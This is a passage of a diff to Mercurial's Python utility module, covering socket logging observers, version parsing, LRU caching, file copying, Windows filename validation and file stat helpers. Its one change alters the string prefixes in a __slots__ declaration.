                  logdata=False, logdataapis=True):
         self.fh = fh
         self.name = name
         self.reads = reads
         self.writes = writes
         self.states = states
         self.logdata = logdata
         self.logdataapis = logdataapis
 
     def makefile(self, res, mode=None, bufsize=None):
         if not self.states:
             return
 
         self.fh.write('%s> makefile(%r, %r)\n' % (
             self.name, mode, bufsize))
 
     def recv(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recv(%d, %d) -> %d' % (
                 self.name, size, flags, len(res)))
         self._writedata(res)
 
     def recvfrom(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
                 self.name, size, flags, len(res[0])))
 
         self._writedata(res[0])
 
     def recvfrom_into(self, res, buf, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
                 self.name, size, flags, res[0]))
 
         self._writedata(buf[0:res[0]])
 
     def recv_into(self, res, buf, size=0, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recv_into(%d, %d) -> %d' % (
                 self.name, size, flags, res))
 
         self._writedata(buf[0:res])
 
     def send(self, res, data, flags=0):
         if not self.writes:
             return
 
         self.fh.write('%s> send(%d, %d) -> %d' % (
             self.name, len(data), flags, len(res)))
         self._writedata(data)
 
     def sendall(self, res, data, flags=0):
         if not self.writes:
             return
 
         if self.logdataapis:
             # Returns None on success. So don't bother reporting return value.
             self.fh.write('%s> sendall(%d, %d)' % (
                 self.name, len(data), flags))
 
         self._writedata(data)
 
     def sendto(self, res, data, flagsoraddress, address=None):
         if not self.writes:
             return
 
         if address:
             flags = flagsoraddress
         else:
             flags = 0
 
         if self.logdataapis:
             self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
                 self.name, len(data), flags, address, res))
 
         self._writedata(data)
 
     def setblocking(self, res, flag):
         if not self.states:
             return
 
         self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
 
     def settimeout(self, res, value):
         if not self.states:
             return
 
         self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
 
     def gettimeout(self, res):
         if not self.states:
             return
 
         self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
 
     def setsockopt(self, res, level, optname, value):
         if not self.states:
             return
 
         self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
             self.name, level, optname, value, res))
 
 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
                       logdata=False, logdataapis=True):
     """Turn a socket into a logging socket."""
 
     observer = socketobserver(logh, name, reads=reads, writes=writes,
                               states=states, logdata=logdata,
                               logdataapis=logdataapis)
     return socketproxy(fh, observer)
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
         return __version__.version
     except ImportError:
         return 'unknown'
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
 
     >>> versiontuple(b'4.6rc0')
     (4, 6, None, 'rc0')
     >>> versiontuple(b'4.6rc0+12-425d55e54f98')
     (4, 6, None, 'rc0+12-425d55e54f98')
     >>> versiontuple(b'.1.2.3')
     (None, None, None, '.1.2.3')
     >>> versiontuple(b'12.34..5')
     (12, 34, None, '..5')
     >>> versiontuple(b'1.2.3.4.5.6')
     (1, 2, 3, '.4.5.6')
     """
     if not v:
         v = version()
     m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
     if not m:
         vparts, extra = '', v
     elif m.group(2):
         vparts, extra = m.groups()
     else:
         vparts, extra = m.group(1), None
 
     vints = []
     for i in vparts.split('.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = src.iteritems()
             for k, v in src:
                 self[k] = v
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 class transactional(object):
     """Base class for making a transactional type into a context manager."""
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
-    __slots__ = (u'next', u'prev', u'key', u'value', u'cost')
+    __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
         self.cost = 0
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
         self.value = None
         self.cost = 0
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
 
     Items in the cache can be inserted with an optional "cost" value. This is
     simply an integer that is specified by the caller. The cache can be queried
     for the total cost of all items presently in the cache.
 
     The cache can also define a maximum cost. If a cache insertion would
     cause the total cost of the cache to go beyond the maximum cost limit,
     nodes will be evicted to make room for the new code. This can be used
     to e.g. set a max memory limit and associate an estimated bytes size
     cost to each item in the cache. By default, no maximum cost is enforced.
     """
     def __init__(self, max, maxcost=0):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self.capacity = max
         self.totalcost = 0
         self.maxcost = maxcost
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def insert(self, k, v, cost=0):
         """Insert a new item in the cache with optional cost value."""
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             self.totalcost -= node.cost
             node.value = v
             node.cost = cost
             self.totalcost += cost
             self._movetohead(node)
 
             if self.maxcost:
                 self._enforcecostlimit()
 
             return
 
         if self._size < self.capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             self.totalcost -= node.cost
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         node.cost = cost
         self.totalcost += cost
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
         if self.maxcost:
             self._enforcecostlimit()
 
     def __setitem__(self, k, v):
         self.insert(k, v)
 
     def __delitem__(self, k):
         self.pop(k)
 
     def pop(self, k, default=_notset):
         try:
             node = self._cache.pop(k)
         except KeyError:
             if default is _notset:
                 raise
             return default
         value = node.value
         self.totalcost -= node.cost
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
         return value
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self.__getitem__(k)
         except KeyError:
             return default
 
     def peek(self, k, default=_notset):
         """Get the specified item without moving it to the head
 
         Unlike get(), this doesn't mutate the internal state. But be aware
         that it doesn't mean peek() is thread safe.
         """
         try:
             node = self._cache[k]
             return node.value
         except KeyError:
             if default is _notset:
                 raise
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             self.totalcost -= n.cost
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self, capacity=None, maxcost=0):
         """Create a new cache as a copy of the current one.
 
         By default, the new cache has the same capacity as the existing one.
         But, the cache capacity can be changed as part of performing the
         copy.
 
         Items in the copy have an insertion/access order matching this
         instance.
         """
 
         capacity = capacity or self.capacity
         maxcost = maxcost or self.maxcost
         result = lrucachedict(capacity, maxcost=maxcost)
 
         # We copy entries by iterating in oldest-to-newest order so the copy
         # has the correct ordering.
 
         # Find the first non-empty entry.
         n = self._head.prev
         while n.key is _notset and n is not self._head:
             n = n.prev
 
         # We could potentially skip the first N items when decreasing capacity.
         # But let's keep it simple unless it is a performance problem.
         for i in range(len(self._cache)):
             result.insert(n.key, n.value, cost=n.cost)
             n = n.prev
 
         return result
 
     def popoldest(self):
         """Remove the oldest item from the cache.
 
         Returns the (key, value) describing the removed cache entry.
         """
         if not self._cache:
             return
 
         # Walk the linked list backwards starting at tail node until we hit
         # a non-empty node.
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         key, value = n.key, n.value
 
         # And remove it from the cache and mark it as empty.
         del self._cache[n.key]
         self.totalcost -= n.cost
         n.markempty()
 
         return key, value
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
     def _enforcecostlimit(self):
         # This should run after an insertion. It should only be called if total
         # cost limits are being enforced.
         # The most recently inserted node is never evicted.
         if len(self) <= 1 or self.totalcost <= self.maxcost:
             return
 
         # This is logically equivalent to calling popoldest() until we
         # free up enough cost. We don't do that since popoldest() needs
         # to walk the linked list and doing this in a loop would be
         # quadratic. So we find the first non-empty node and then
         # walk nodes until we free up enough capacity.
         #
         # If we only removed the minimum number of nodes to free enough
         # cost at insert time, chances are high that the next insert would
         # also require pruning. This would effectively constitute quadratic
         # behavior for insert-heavy workloads. To mitigate this, we set a
         # target cost that is a percentage of the max cost. This will tend
         # to free more nodes when the high water mark is reached, which
         # lowers the chances of needing to prune on the subsequent insert.
         targetcost = int(self.maxcost * 0.75)
 
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         while len(self) > 1 and self.totalcost > targetcost:
             del self._cache[n.key]
             self.totalcost -= n.cost
             n.markempty()
             n = n.prev
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     prop = pycompat.sysstr(prop)
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield ''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield ''.join(buf)
 
 def always(fn):
     return True
 
 def never(fn):
     return False
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
     return wrapper
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = '/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split('/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
 
 # the location of data files matching the source code
 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     'apfs',
     'btrfs',
     'ext2',
     'ext3',
     'ext4',
     'hfs',
     'jfs',
     'NTFS',
     'reiserfs',
     'tmpfs',
     'ufs',
     'xfs',
     'zfs',
 }
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (
                             oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise error.Abort(str(inst))
 
 def copyfiles(src, dst, hardlink=None, progress=None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     def settopic():
         if progress:
             progress.topic = _('linking') if hardlink else _('copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (os.stat(src).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         settopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
             num += n
     else:
         if hardlink is None:
             hardlink = (os.stat(os.path.dirname(src)).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         settopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         if progress:
             progress.increment()
 
     return hardlink, num
 
 _winreservednames = {
     'con', 'prn', 'aux', 'nul',
     'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
     'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
 }
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
         return _("filename ends with '\\', which is invalid on Windows")
     if '\\/' in path:
         return _("directory name ends with '\\', which is invalid on Windows")
     for n in path.replace('\\', '/').split('/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
                 return _("filename contains '%s', which is invalid "
                          "on Windows") % stringutil.escapestr(c)
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
         t = n[-1:]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 def makelock(info, pathname):
     """Create a lock file atomically if possible
 
     This may leave a stale lock file if symlink isn't supported and signal
     interrupt is enabled.
     """
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError: # no symlink in os
         pass
 
     flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
     ld = os.open(pathname, flags)
     os.write(ld, info)
     os.close(ld)
 
 def readlock(pathname):
     try:
         return readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError: # no symlink in os
         pass
     with posixfile(pathname, 'rb') as fp:
         return fp.read()
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 # File system features
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 try:
     import re2
     _re2 = None
 except ImportError:
     _re2 = False
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = '(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = '(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 re = _re()
 
 _fspathcache = {}
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace('\\','\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return ''.join(result)
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
                                   suffix='1~', dir=os.path.dirname(testfile))
         os.close(fd)
         f2 = '%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (path.endswith(pycompat.ossep)
             or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode, enforcewritable)
 
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, "rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, "wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except: # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (self.stat.st_size == old.stat.st_size and
                     self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
                     self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
